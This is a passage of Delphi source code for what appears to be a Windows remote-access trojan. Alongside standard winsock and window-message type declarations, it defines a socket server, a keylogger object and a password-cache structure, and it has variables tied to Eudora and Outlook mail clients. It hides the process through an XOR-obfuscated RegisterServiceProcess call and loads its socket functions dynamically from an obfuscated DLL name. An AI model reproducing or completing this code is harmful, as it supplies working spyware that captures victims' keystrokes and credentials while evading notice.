s_b3, s_b4: u_char; end; SunW = packed record s_w1, s_w2: u_short; end; PInAddr = ^TInAddr; TInAddr = packed record case integer of 0: (S_un_b: SunB); 1: (S_un_w: SunW); 2: (S_addr: u_long); end; PSockAddrIn = ^TSockAddrIn; TSockAddrIn = packed record case Integer of 0: (sin_family: u_short; sin_port: u_short; sin_addr: TInAddr; sin_zero: array[0..7] of Char); 1: (sa_family: u_short; sa_data: array[0..13] of Char) end; type PWSAData = ^TWSAData; TWSAData = packed record wVersion: Word; wHighVersion: Word; szDescription: array[0..WSADESCRIPTION_LEN] of Char; szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char; iMaxSockets: Word; iMaxUdpDg: Word; lpVendorInfo: PChar; end; PTransmitFileBuffers = ^TTransmitFileBuffers; TTransmitFileBuffers = packed record Head: Pointer; HeadLength: DWORD; Tail: Pointer; TailLength: DWORD; end; type { Structure used by kernel to store most addresses. } PSockAddr = ^TSockAddr; TSockAddr = TSockAddrIn; { Structure used by kernel to pass protocol information in raw sockets. } PSockProto = ^TSockProto; TSockProto = packed record sp_family: u_short; sp_protocol: u_short; end; type { Structure used for manipulating linger option. } PLinger = ^TLinger; TLinger = packed record l_onoff: u_short; l_linger: u_short; end; const INVALID_SOCKET = TSocket(NOT(0)); SOCKET_ERROR = -1; {type window message record} type PMessage = ^TMessage; TMessage = record Msg: Cardinal; case Integer of 0: ( WParam: Longint; LParam: Longint; Result: Longint); 1: ( WParamLo: Word; WParamHi: Word; LParamLo: Word; LParamHi: Word; ResultLo: Word; ResultHi: Word); end; { Common message format records } TWMNoParams = record Msg: Cardinal; Unused: array[0..3] of Word; Result: Longint; end; TWMKey = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMMouse = record Msg: Cardinal; Keys: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMWindowPosMsg = record Msg: Cardinal; Unused: Integer; WindowPos: PWindowPos; Result: Longint; end; TWMScroll = record Msg: Cardinal; ScrollCode: Smallint; { SB_xxxx } Pos: Smallint; ScrollBar: HWND; Result: Longint; end; { Message records } TWMActivate = record Msg: Cardinal; Active: Word; { WA_INACTIVE, WA_ACTIVE, WA_CLICKACTIVE } Minimized: WordBool; ActiveWindow: HWND; Result: Longint; end; TWMActivateApp = record Msg: Cardinal; Active: BOOL; ThreadId: Longint; Result: Longint; end; TWMAskCBFormatName = record Msg: Cardinal; NameLen: Word; Unused: Word; FormatName: PChar; Result: Longint; end; TWMCancelMode = TWMNoParams; TWMChangeCBChain = record Msg: Cardinal; Remove: HWND; Next: HWND; Result: Longint; end; TWMChar = TWMKey; TWMCharToItem = record Msg: Cardinal; Key: Word; CaretPos: Word; ListBox: HWND; Result: Longint; end; TWMChildActivate = TWMNoParams; TWMChooseFont_GetLogFont = record Msg: Cardinal; Unused: Longint; LogFont: PLogFont; Result: Longint; end; TWMClear = TWMNoParams; TWMClose = TWMNoParams; TWMCommand = record Msg: Cardinal; ItemID: Word; NotifyCode: Word; Ctl: HWND; Result: Longint; end; TWMCompacting = record Msg: Cardinal; CompactRatio: Longint; Unused: Longint; Result: Longint; end; TWMCompareItem = record Msg: Cardinal; Ctl: HWnd; CompareItemStruct: PCompareItemStruct; Result: Longint; end; TWMCopy = TWMNoParams; TWMCopyData = record Msg: Cardinal; From: HWND; CopyDataStruct: PCopyDataStruct; Result: Longint; end; { ?? WM_CLP_LAUNCH, WM_CPL_LAUNCHED } TWMCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMCtlColor = record Msg: Cardinal; ChildDC: HDC; ChildWnd: HWND; Result: Longint; end; TWMCtlColorBtn = TWMCtlColor; TWMCtlColorDlg = TWMCtlColor; TWMCtlColorEdit = TWMCtlColor; TWMCtlColorListbox = TWMCtlColor; TWMCtlColorMsgbox = TWMCtlColor; TWMCtlColorScrollbar = TWMCtlColor; TWMCtlColorStatic = TWMCtlColor; TWMCut = TWMNoParams; TWMDDE_Ack = record Msg: Cardinal; PostingApp: HWND; case Word of WM_DDE_INITIATE: ( App: Word; Topic: Word; Result: Longint); WM_DDE_EXECUTE {and all others}: ( PackedVal: Longint); end; TWMDDE_Advise = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Data = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Execute = record Msg: Cardinal; PostingApp: HWND; Commands: THandle; Result: Longint; end; TWMDDE_Initiate = record Msg: Cardinal; PostingApp: HWND; App: Word; Topic: Word; Result: Longint; end; TWMDDE_Poke = record Msg: Cardinal; PostingApp: HWND; PackedVal: Longint; Result: Longint; end; TWMDDE_Request = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDDE_Terminate = record Msg: Cardinal; PostingApp: HWND; Unused: Longint; Result: Longint; end; TWMDDE_Unadvise = record Msg: Cardinal; PostingApp: HWND; Format: Word; Item: Word; Result: Longint; end; TWMDeadChar = TWMChar; TWMDeleteItem = record Msg: Cardinal; Ctl: HWND; DeleteItemStruct: PDeleteItemStruct; Result: Longint; end; TWMDestroy = TWMNoParams; TWMDestroyClipboard = TWMNoParams; TWMDevModeChange = record Msg: Cardinal; Unused: Integer; Device: PChar; Result: Longint; end; TWMDrawClipboard = TWMNoParams; { TWMDropFiles = record Msg: Cardinal; Drop: THANDLE; Unused: Longint; Result: Longint; end; } TWMEnable = record Msg: Cardinal; Enabled: LongBool; Unused: Longint; Result: Longint; end; TWMEndSession = record Msg: Cardinal; EndSession: LongBool; Unused: Longint; Result: Longint; end; TWMEnterIdle = record Msg: Cardinal; Source: Longint; { MSGF_DIALOGBOX, MSGF_MENU } IdleWnd: HWND; Result: Longint; end; TWMEnterMenuLoop = record Msg: Cardinal; IsTrackPopupMenu: LongBool; Unused: Longint; Result: Longint; end; TWMExitMenuLoop = TWMEnterMenuLoop; TWMEraseBkgnd = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMFontChange = TWMNoParams; TWMGetDlgCode = TWMNoParams; TWMGetFont = TWMNoParams; TWMGetIcon = record Msg: Cardinal; BigIcon: Longbool; Unused: Longint; Result: Longint; end; TWMGetText = record Msg: Cardinal; TextMax: Integer; Text: PChar; Result: Longint; end; TWMGetTextLength = TWMNoParams; { TWMHotKey = record Msg: Cardinal; HotKey: Longint; Unused: Longint; Result: Longint; end; } TWMHScroll = TWMScroll; TWMHScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScrollCode: Word; {SB_BOTTOM, SB_ENDSCROLL, SB_LINEDOWN, SB_LINEUP, SB_PAGEDOWN, SB_PAGEUP, SB_THUMBPOSITION, SB_THUMBTRACK, SB_TOP } Pos: Word; Result: Longint; end; TWMIconEraseBkgnd = TWMEraseBkgnd; TWMInitDialog = record Msg: Cardinal; Focus: HWND; InitParam: Longint; Result: Longint; end; TWMInitMenu = record Msg: Cardinal; Menu: HMENU; Unused: Longint; Result: Longint; end; TWMInitMenuPopup = record Msg: Cardinal; MenuPopup: HMENU; Pos: Smallint; SystemMenu: WordBool; Result: Longint; end; TWMKeyDown = TWMKey; TWMKeyUp = TWMKey; TWMKillFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMLButtonDblClk = TWMMouse; TWMLButtonDown = TWMMouse; TWMLButtonUp = TWMMouse; TWMMButtonDblClk = TWMMouse; TWMMButtonDown = TWMMouse; TWMMButtonUp = TWMMouse; TWMMDIActivate = record Msg: Cardinal; case Integer of 0: ( ChildWnd: HWND); 1: ( DeactiveWnd: HWND; ActiveWnd: HWND; Result: Longint); end; TWMMDICascade = record Msg: Cardinal; Cascade: Longint; { 0, MDITILE_SKIPDISABLED } Unused: Longint; Result: Longint; end; TWMMDICreate = record Msg: Cardinal; Unused: Integer; MDICreateStruct: PMDICreateStruct; Result: Longint; end; TWMMDIDestroy = record Msg: Cardinal; Child: HWND; Unused: Longint; Result: Longint; end; TWMMDIGetActive = TWMNoParams; TWMMDIIconArrange = TWMNoParams; TWMMDIMaximize = record Msg: Cardinal; Maximize: HWND; Unused: Longint; Result: Longint; end; TWMMDINext = record Msg: Cardinal; Child: HWND; Next: Longint; Result: Longint; end; TWMMDIRefreshMenu = TWMNoParams; TWMMDIRestore = record Msg: Cardinal; IDChild: HWND; Unused: Longint; Result: Longint; end; TWMMDISetMenu = record Msg: Cardinal; MenuFrame: HMENU; MenuWindow: HMENU; Result: Longint; end; TWMMDITile = record Msg: Cardinal; Tile: Longint; { MDITILE_HORIZONTAL, MDITILE_SKIPDISABLE, MDITILE_VERTICAL } Unused: Longint; Result: Longint; end; TWMMenuChar = record Msg: Cardinal; User: Char; Unused: Byte; MenuFlag: Word; { MF_POPUP, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMenuSelect = record Msg: Cardinal; IDItem: Word; MenuFlag: Word; { MF_BITMAP, MF_CHECKED, MF_DISABLED, MF_GRAYED, MF_MOUSESELECT, MF_OWNERDRAW, MF_POPUP, MF_SEPARATOR, MF_SYSMENU } Menu: HMENU; Result: Longint; end; TWMMouseActivate = record Msg: Cardinal; TopLevel: HWND; HitTestCode: Word; MouseMsg: Word; Result: Longint; end; TWMMouseMove = TWMMouse; TWMMove = record Msg: Cardinal; Unused: Integer; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCActivate = record Msg: Cardinal; Active: BOOL; Unused: Longint; Result: Longint; end; TWMNCCalcSize = record Msg: Cardinal; CalcValidRects: BOOL; CalcSize_Params: PNCCalcSizeParams; Result: Longint; end; TWMNCCreate = record Msg: Cardinal; Unused: Integer; CreateStruct: PCreateStruct; Result: Longint; end; TWMNCDestroy = TWMNoParams; TWMNCHitTest = record Msg: Cardinal; Unused: Longint; case Integer of 0: ( XPos: Smallint; YPos: Smallint); 1: ( Pos: TSmallPoint; Result: Longint); end; TWMNCHitMessage = record Msg: Cardinal; HitTest: Longint; XCursor: Smallint; YCursor: Smallint; Result: Longint; end; TWMNCLButtonDblClk = TWMNCHitMessage; TWMNCLButtonDown = TWMNCHitMessage; TWMNCLButtonUp = TWMNCHitMessage; TWMNCMButtonDblClk = TWMNCHitMessage; TWMNCMButtonDown = TWMNCHitMessage; TWMNCMButtonUp = TWMNCHitMessage; TWMNCMouseMove = TWMNCHitMessage; TWMNCPaint = TWMNoParams; TWMNCRButtonDblClk = TWMNCHitMessage; TWMNCRButtonDown = TWMNCHitMessage; TWMNCRButtonUp = TWMNCHitMessage; TWMNextDlgCtl = record Msg: Cardinal; CtlFocus: Longint; Handle: WordBool; Unused: Word; Result: Longint; end; TWMNotify = record Msg: Cardinal; IDCtrl: Longint; NMHdr: PNMHdr; Result: Longint; end; TWMNotifyFormat = record Msg: Cardinal; From: HWND; Command: Longint; Result: Longint; end; TWMPaint = record Msg: Cardinal; DC: HDC; Unused: Longint; Result: Longint; end; TWMPaintClipboard = record Msg: Cardinal; Viewer: HWND; PaintStruct: THandle; Result: Longint; end; TWMPaintIcon = TWMNoParams; TWMPaletteChanged = record Msg: Cardinal; PalChg: HWND; Unused: Longint; Result: Longint; end; TWMPaletteIsChanging = record Msg: Cardinal; Realize: HWND; Unused: Longint; Result: Longint; end; TWMParentNotify = record Msg: Cardinal; case Event: Word of WM_CREATE, WM_DESTROY: ( ChildID: Word; ChildWnd: HWnd); WM_LBUTTONDOWN, WM_MBUTTONDOWN, WM_RBUTTONDOWN: ( Value: Word; XPos: Smallint; YPos: Smallint); 0: ( Value1: Word; Value2: Longint; Result: Longint); end; TWMPaste = TWMNoParams; TWMPower = record Msg: Cardinal; PowerEvt: Longint; { PWR_SUSPENDREQUEST, PWR_SUSPENDRESUME, PWR_CRITICALRESUME } Unused: Longint; Result: Longint; end; TWMQueryDragIcon = TWMNoParams; TWMQueryEndSession = record Msg: Cardinal; Source: Longint; Unused: Longint; Result: Longint; end; TWMQueryNewPalette = TWMNoParams; TWMQueryOpen = TWMNoParams; TWMQueueSync = TWMNoParams; TWMQuit = record Msg: Cardinal; ExitCode: Longint; Unused: Longint; Result: Longint; end; TWMRButtonDblClk = TWMMouse; TWMRButtonDown = TWMMouse; TWMRButtonUp = TWMMouse; TWMRenderAllFormats = TWMNoParams; TWMRenderFormat = record Msg: Cardinal; Format: Longint; Unused: Longint; Result: Longint; end; TWMSetCursor = record Msg: Cardinal; CursorWnd: HWND; HitTest: Word; MouseMsg: Word; Result: Longint; end; TWMSetFocus = record Msg: Cardinal; FocusedWnd: HWND; Unused: Longint; Result: Longint; end; TWMSetFont = record Msg: Cardinal; Font: HFONT; Redraw: WordBool; Unused: Word; Result: Longint; end; TWMSetIcon = record Msg: Cardinal; BigIcon: Longbool; Icon: HICON; Result: Longint; end; TWMSetRedraw = record Msg: Cardinal; Redraw: Longint; Unused: Longint; Result: Longint; end; TWMSetText = record Msg: Cardinal; Unused: Longint; Text: PChar; Result: Longint; end; TWMShowWindow = record Msg: Cardinal; Show: BOOL; Status: Longint; Result: Longint; end; TWMSize = record Msg: Cardinal; SizeType: Longint; { SIZE_MAXIMIZED, SIZE_MINIMIZED, SIZE_RESTORED, SIZE_MAXHIDE, SIZE_MAXSHOW } Width: Word; Height: Word; Result: Longint; end; TWMSizeClipboard = record Msg: Cardinal; Viewer: HWND; RC: THandle; Result: Longint; end; TWMSpoolerStatus = record Msg: Cardinal; JobStatus: Longint; JobsLeft: Word; Unused: Word; Result: Longint; end; TWMStyleChange = record Msg: Cardinal; StyleType: Longint; StyleStruct: PStyleStruct; Result: Longint; end; TWMStyleChanged = TWMStyleChange; TWMStyleChanging = TWMStyleChange; TWMSysChar = TWMKey; TWMSysColorChange = TWMNoParams; TWMSysDeadChar = record Msg: Cardinal; CharCode: Word; Unused: Word; KeyData: Longint; Result: Longint; end; TWMSysKeyDown = TWMKey; TWMSysKeyUp = TWMKey; TWMSystemError = record Msg: Cardinal; ErrSpec: Word; Unused: Longint; Result: Longint; end; TWMTimeChange = TWMNoParams; TWMTimer = record Msg: Cardinal; TimerID: Longint; TimerProc: TFarProc; Result: Longint; end; TWMUndo = TWMNoParams; TWMVKeyToItem = TWMCharToItem; TWMVScroll = TWMScroll; TWMVScrollClipboard = record Msg: Cardinal; Viewer: HWND; ScollCode: Word; ThumbPos: Word; Result: Longint; end; TWMWindowPosChanged = TWMWindowPosMsg; TWMWindowPosChanging = TWMWindowPosMsg; TWMWinIniChange = record Msg: Cardinal; Unused: Integer; Section: PChar; Result: Longint; end; TWMHelp = record Msg: Cardinal; Unused: Integer; HelpInfo: PHelpInfo; Result: Longint; end; TWMDisplayChange = record Msg: Cardinal; BitsPerPixel: Integer; Width: Word; Height: Word; end; // sysutils type type WordRec = packed record Lo, Hi: Byte; end; LongRec = packed record Lo, Hi: Word; end; TMethod = record Code, Data: Pointer; end; PByteArray = ^TByteArray; TByteArray = array[0..32767] of Byte; PWordArray = ^TWordArray; TWordArray = array[0..16383] of Word; TProcedure = procedure; TFileName = string; TSearchRec = record Time: Integer; Size: Integer; Attr: Integer; Name: TFileName; ExcludeAttr: Integer; FindHandle: THandle; FindData: TWin32FindData; end; TFileRec = record Handle: Integer; Mode: Integer; RecSize: Cardinal; Private: array[1..28] of Byte; UserData: array[1..32] of Byte; Name: array[0..259] of Char; end; PTextBuf = ^TTextBuf; TTextBuf = array[0..127] of Char; TTextRec = record Handle: Integer; Mode: Integer; BufSize: Cardinal; BufPos: Cardinal; BufEnd: Cardinal; BufPtr: PChar; OpenFunc: Pointer; InOutFunc: Pointer; FlushFunc: Pointer; CloseFunc: Pointer; UserData: array[1..32] of Byte; Name: array[0..259] of Char; Buffer: TTextBuf; end; TFloatValue = (fvExtended, fvCurrency); TFloatFormat = (ffGeneral, ffExponent, ffFixed, ffNumber, ffCurrency); TFloatRec = packed record Exponent: Smallint; Negative: Boolean; Digits: array[0..20] of Char; end; TTimeStamp = record Time: Integer; { Number of milliseconds since midnight } Date: Integer; { One plus number of days since 1/1/0003 } end; TMbcsByteType = (mbSingleByte, mbLeadByte, mbTrailByte); TSysLocale = packed record DefaultLCID: LCID; PriLangID: LANGID; SubLangID: LANGID; FarEast: Boolean; end; // password connection type TPasswordCacheEntry = packed record cbEntry : word; // size of this entry, in bytes cbResource : word; // size of resource name, in bytes cbPassword : word; // size of password, in bytes iEntry : byte; // entry index nType : byte; // type of entry abResource : array [0..$FFFFFFF] of char; end; TPPasswordCacheEntry = ^TPasswordCacheEntry; // registry type type TRegKeyInfo = record NumSubKeys: Integer; MaxSubKeyLen: Integer; NumValues: Integer; MaxValueLen: Integer; MaxDataLen: Integer; FileTime: TFileTime; end; TRegDataType = (rdUnknown, rdString, rdExpandString, rdInteger, rdBinary); TRegDataInfo = record RegData: TRegDataType; DataSize: Integer; end; TRegistry = class(TObject) private FCurrentKey: HKEY; FRootKey: HKEY; FLazyWrite: Boolean; FCurrentPath: string; FCloseRootKey: Boolean; procedure SetRootKey(Value: HKEY); function OpenKey(const Key: string; CanCreate: Boolean): Boolean; protected function GetBaseKey(Relative: Boolean): HKey; procedure ChangeKey(Value: HKey; const Path: string); procedure PutData(const Name: string; Buffer: Pointer; BufSize: Integer; RegData: TRegDataType); function GetData(const Name: string; Buffer: Pointer; BufSize: Integer; var RegData: TRegDataType): Integer; public constructor Create; destructor Destroy; override; procedure WriteString(const Name, Value: string); function ReadString(const Name: string): string; procedure CloseKey; function GetDataSize(const ValueName: string): Integer; function GetDataInfo(const ValueName: string; var Value: TRegDataInfo): Boolean; property CurrentKey : HKEY read FCurrentKey; property RootKey: HKEY read FRootKey write SetRootKey; property CurrentPath: string read FCurrentPath; property LazyWrite: Boolean read FLazyWrite write FLazyWrite; end; //=============================================================================THE_SOCKET; //=============================================================================THE_SOCKET; //Socket_Object_server TSock = class(TObject) procedure WriteString(wParam:word;Buff:PChar); function WriteData(wParam:word;Buff:pointer;Len:longInt):LongInt; procedure OnServerAccept(wParam,lParam:longInt); procedure OnServerClose(wParam,lParam:longInt); procedure OnServerRead(wParam,lParam:longInt); private public end; //Key_logger_object Type TLog = class(TObject) procedure LogCreate; procedure LogDestroy; private procedure KeyIncrement( var Msg: TMessage ); message UM_KEYHIT; public end; //============== all var var //sysutils var SysLocale: TSysLocale; LeadBytes: set of Char = []; Win32Platform: Integer; //MainVariables wClass: TWndClass; // Class struct for main window hInst, // Handle of program instance Handle: Integer; // Handle of main window Msg2: TMSG; // Message struct //Msg: TMSG; //Socket Server: TSocket; WSD: TWSAData; Addr: TSockAddrIn; // Address for connect. Port: Integer; //ReadBuff: TBuffer; yyyy,mm,dd,h,m,ss,CountRB: Word; result,nukemsg,nukemsg2,s,driv: string; d:integer; // si,i:integer; //udp j:byte; z:longint; //ip //Registry Registre: TRegistry; //other klasse: array [0..255] of char; Timeout: integer; t:textfile; // classe: array [0..255] of char; // counter :integer; //thread Sock:TSock; KLog: Tlog; eudora:string; outlook:string; ttt:textfile; h_SOCK_DLL :HModule; ThreadHdle :THandle; ThreadID :Integer; ExitCode :Integer; ThreadHdle2 :THandle; ThreadID2 :Integer; ExitCode2 :Integer; ThreadHdle3:THandle; ThreadID3 :Integer; ExitCode3 :Integer; //===Dir function systemdir:string; var d:integer; begin setlength(result,500); d:=getsystemdirectory(pchar(result),500); setlength(result,d); end; function windowsdir:string; var d:integer; begin setlength(result,500); d:=getwindowsdirectory(pchar(result),500); setlength(result,d); end; Function Crypt(S : String) : String; Var i : Byte; begin For i := 1 to Length(S) Do S[i] := Char(ord(S[i]) xor i); Crypt := S; end; //==executeAPI function ShellExecute(hWnd: HWND; Operation, FileName, Parameters, Directory: PChar; ShowCmd: Integer):integer; stdcall; external 'shell32.dll' name 'ShellExecuteA'; //function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; function RegisterInService:boolean; type TRegisterServiceProcess = function(ProcessID :Integer; Service :Boolean):Boolean; StdCall; var h_KERNEL_DLL :HModule; RegisterServiceProcess :TRegisterServiceProcess; begin Result := False; h_KERNEL_DLL := LoadLibrary(PChar('kernel32.dll')); if h_KERNEL_DLL <> Null then begin RegisterServiceProcess := GetProcAddress(h_KERNEL_DLL, PChar(crypt('SgdmvrbzZoyzdmj@c}pqfe'))); //RegisterServiceProcess if @RegisterServiceProcess <> Nil then Result := RegisterServiceProcess(GetCurrentProcessID, True); FreeLibrary(h_KERNEL_DLL); end; end; //=== winsock function //function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; external winsocket name 'accept'; function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; Type TListen = function(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('accept')); if @LListen <> Nil then Result := LListen(s, addr,addrlen); FreeLibrary(h_SOCK_DLL); end; end; //function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'bind'; function bind(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var addr: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('bind')); if @LListen <> Nil then Result := LListen(s, addr,namelen); FreeLibrary(h_SOCK_DLL); end; end; //function closesocket(s: TSocket): Integer; stdcall; external winsocket name 'closesocket'; function closesocket(s: TSocket): Integer; stdcall; Type TListen = function(s: TSocket): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('closesocket')); if @LListen <> Nil then Result := LListen(s); FreeLibrary(h_SOCK_DLL); end; end; //function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; external winsocket name 'connect'; function connect(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var name: TSockAddr; namelen: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('connect')); if @LListen <> Nil then Result := LListen(s,name,namelen); FreeLibrary(h_SOCK_DLL); end; end; function getpeername(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getpeername'; function getsockname(s: TSocket; var name: TSockAddr; var namelen: Integer): Integer; stdcall; external winsocket name 'getsockname'; function getsockopt(s: TSocket; level, optname: Integer; optval: PChar; var optlen: Integer): Integer; stdcall; external winsocket name 'getsockopt'; //function htonl(hostlong: u_long): u_long; stdcall; external winsocket name 'htonl'; function htonl(hostlong: u_long): u_long; stdcall; Type TListen = function(hostlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htonl')); if @LListen <> Nil then Result := LListen(hostlong); FreeLibrary(h_SOCK_DLL); end; end; //function htons(hostshort: u_short): u_short; stdcall; external winsocket name 'htons'; function htons(hostshort: u_short): u_short; stdcall; Type TListen = function(hostshort: u_short): u_short; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('htons')); if @LListen <> Nil then Result := LListen(hostshort); FreeLibrary(h_SOCK_DLL); end; end; //function inet_addr(cp: PChar): u_long; stdcall; external winsocket name 'inet_addr'; {PInAddr;} { TInAddr } function inet_addr(cp: PChar): u_long; stdcall; Type TListen = function(cp: PChar): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('inet_addr')); if @LListen <> Nil then Result := LListen(cp); FreeLibrary(h_SOCK_DLL); end; end; function inet_ntoa(inaddr: TInAddr): PChar; stdcall; external winsocket name 'inet_ntoa'; function ioctlsocket(s: TSocket; cmd: Longint; var arg: u_long): Integer; stdcall; external winsocket name 'ioctlsocket'; //function listen(s: TSocket; backlog: Integer): Integer; stdcall; external winsocket name 'listen'; function listen(s: TSocket; backlog: Integer): Integer; stdcall; Type TListen = function(s: TSocket; backlog: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('listen')); if @LListen <> Nil then Result := LListen(s, backlog); FreeLibrary(h_SOCK_DLL); end; end; //function ntohl(netlong: u_long): u_long; stdcall; external winsocket name 'ntohl'; function ntohl(netlong: u_long): u_long; stdcall; Type TListen = function(netlong: u_long): u_long; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('ntohl')); if @LListen <> Nil then Result := LListen(netlong); FreeLibrary(h_SOCK_DLL); end; end; function ntohs(netshort: u_short): u_short; stdcall; external winsocket name 'ntohs'; //function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'recv'; function recv(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('recv')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function recvfrom(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer; stdcall; external winsocket name 'recvfrom'; function select(nfds: Integer; readfds, writefds, exceptfds: PFDSet; timeout: PTimeVal): Longint; stdcall; external winsocket name 'select'; //function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; external winsocket name 'send'; function send(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; Type TListen = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('send')); if @LListen <> Nil then Result := LListen(s,buf,len,flags); FreeLibrary(h_SOCK_DLL); end; end; function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr; tolen: Integer): Integer; stdcall; external winsocket name 'sendto'; function setsockopt(s: TSocket; level, optname: Integer; optval: PChar; optlen: Integer): Integer; stdcall; external winsocket name 'setsockopt'; function shutdown(s: TSocket; how: Integer): Integer; stdcall; external winsocket name 'shutdown'; //function socket(af, struct, protocol: Integer): TSocket; stdcall; external winsocket name 'socket'; function socket(af, struct, protocol: Integer): TSocket; stdcall; Type TListen = function(af, struct, protocol: Integer): TSocket; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('socket')); if @LListen <> Nil then Result := LListen(af,struct,protocol); FreeLibrary(h_SOCK_DLL); end; end; function gethostbyaddr(addr: Pointer; len, struct: Integer): PHostEnt; stdcall; external winsocket name 'gethostbyaddr'; //function gethostbyname(name: PChar): PHostEnt; stdcall; external winsocket name 'gethostbyname'; function gethostbyname(name: PChar): PHostEnt; stdcall; Type TListen = function(name: PChar): PHostEnt; stdcall; var LListen :TListen; begin Result := nil; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostbyname')); if @LListen <> Nil then Result := LListen(name); FreeLibrary(h_SOCK_DLL); end; end; function getprotobyname(name: PChar): PProtoEnt; stdcall; external winsocket name 'getprotobyname'; function getprotobynumber(proto: Integer): PProtoEnt; stdcall; external winsocket name 'getprotobynumber'; function getservbyname(name, proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyname'; function getservbyport(port: Integer; proto: PChar): PServEnt; stdcall; external winsocket name 'getservbyport'; //function gethostname(name: PChar; len: Integer): Integer; stdcall; external winsocket name 'gethostname'; function gethostname(name: PChar; len: Integer): Integer; stdcall; Type TListen = function(name: PChar; len: Integer): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := GetProcAddress(h_SOCK_DLL, PChar('gethostname')); if @LListen <> Nil then Result := LListen(name,len); FreeLibrary(h_SOCK_DLL); end; end; //function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; external winsocket name 'WSAAsyncSelect'; function WSAAsyncSelect(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; Type TListen = function(s: TSocket; HWindow: HWND; wMsg: u_int; lEvent: Longint): Integer; stdcall; var LListen :TListen; begin Result := 0; h_SOCK_DLL := LoadLibrary(PChar(crypt(winsocket))); if h_SOCK_DLL <> Null then begin LListen := 